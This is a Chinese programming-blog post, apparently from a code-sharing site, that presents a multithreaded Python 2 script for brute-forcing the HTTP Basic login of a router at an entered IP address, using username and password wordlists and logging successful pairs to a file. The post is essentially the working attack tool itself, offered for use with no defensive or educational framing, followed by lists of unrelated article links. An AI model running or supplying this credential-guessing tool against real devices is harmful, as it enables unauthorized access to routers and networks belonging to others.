python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python求素数示例分享
Feb 16 Python
Python的MongoDB模块PyMongo操作方法集锦
Jan 05 Python
详解字典树Trie结构及其Python代码实现
Jun 03 Python
python-itchat 获取微信群用户信息的实例
Feb 21 Python
元组列表字典(莫烦python基础)
Apr 03 Python
Python3中函数参数传递方式实例详解
May 05 Python
python命令行参数用法实例分析
Jun 25 Python
详解python实现数据归一化处理的方式:(0,1)标准化
Jul 17 Python
Python Tornado之跨域请求与Options请求方式
Mar 28 Python
python语言中有算法吗
Jun 16 Python
python3判断IP地址的方法
Mar 04 Python
python数据可视化JupyterLab实用扩展程序Mito
Nov 20 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
Ajax实时验证用户名/邮箱等是否已经存在的代码打包
2011/12/01 PHP
PHP 错误处理机制
2015/07/06 PHP
Yii2超好用的日期和时间组件(值得收藏)
2016/05/05 PHP
CI框架实现cookie登陆的方法详解
2016/05/18 PHP
php魔法函数与魔法常量使用介绍
2017/07/23 PHP
PHP pthreads v3使用中的一些坑和注意点分析
2020/02/21 PHP
JavaScript 数组的 uniq 方法
2008/01/23 Javascript
关于JavaScript中的关联数组分析
2013/04/09 Javascript
Jquery操作radio的简单实例
2014/01/06 Javascript
JavaScript实现控制打开文件另存为对话框的方法
2015/04/17 Javascript
bootstrap-datetimepicker实现只显示到日期的方法
2016/11/25 Javascript
微信小程序Server端环境配置详解(SSL, Nginx HTTPS,TLS 1.2 升级)
2017/01/12 Javascript
深入理解Javascript箭头函数中的this
2017/02/13 Javascript
微信小程序生成海报分享朋友圈的实现方法
2019/05/06 Javascript
微信小程序激励式视频广告组件使用详解
2019/12/06 Javascript
JavaScript将数组转换为链表的方法
2020/02/16 Javascript
Vue组件跨层级获取组件操作
2020/07/27 Javascript
[37:21]完美世界DOTA2联赛PWL S2 Inki vs Magma 第二场 11.22
2020/11/24 DOTA
Python统计列表中的重复项出现的次数的方法
2014/08/18 Python
Python按行读取文件的简单实现方法
2016/06/22 Python
详解python--模拟轮盘抽奖游戏
2019/04/12 Python
Python List列表对象内置方法实例详解
2019/10/22 Python
python调用百度API实现人脸识别
2020/11/17 Python
韩国女装NO.1网店:STYLENANDA
2016/09/16 全球购物
骆驼官方商城:CAMEL
2016/11/22 全球购物
露营世界:Camping World
2017/02/02 全球购物
荷兰最大的多品牌男装连锁店:Adam Brandstore
2019/12/31 全球购物
写自荐信要注意什么
2013/12/26 职场文书
保密工作责任书
2014/04/16 职场文书
大学生受助感言
2015/08/01 职场文书
2016国庆节67周年寄语
2015/12/07 职场文书
元素水平垂直居中的方式
2021/03/31 HTML / CSS
DIV CSS实现网页背景半透明效果
2021/12/06 HTML / CSS
sqlserver连接错误之SQL评估期已过的问题解决
2022/03/23 SQL Server
postgreSQL数据库基础知识介绍
2022/04/12 PostgreSQL
Docker下安装Oracle19c
2022/04/13 Servers